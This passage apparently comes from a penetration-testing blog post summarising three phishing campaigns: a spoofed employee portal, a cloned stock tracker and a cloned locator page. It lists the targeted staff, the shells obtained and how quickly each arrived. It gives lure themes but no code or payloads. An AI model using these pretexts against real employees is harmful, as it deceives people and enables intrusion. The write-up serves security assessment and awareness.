  1. New Employee Portal - We pretended to be from the web development team and told users about the new employee portal. The link in the email appeared to be one to the normal employee portal, however once clicked, it actually directed users to the test-companyname.com malicious website.
    • Target: Everyone Except HR
    • Result: 2 shells
    • Rate: First shell was obtained 4 minutes after the email was sent, Second was 3 hours after
  2. Financial Results/Stock Tracker - This time the users were directed to a clone of a company-created stock tracking site where they can get information about the financial status of the company
    • Target: Management
    • Result 2 shells
    • Rate: First shell was obtained 13 minutes after the email was sent, Second was about 30 minutes after
  3. Locator Clone - We simply cloned the locator page and sent the email out to a select few.
    • Target: Everyone
    • Result 2 shells
    • Rate: First shell was obtained 28 minutes after the email was sent, Second was about 6 hours after


Part 2 of this series will show you how to turn those user level shells into domain admin and what juicy areas of the network to look for confidential information!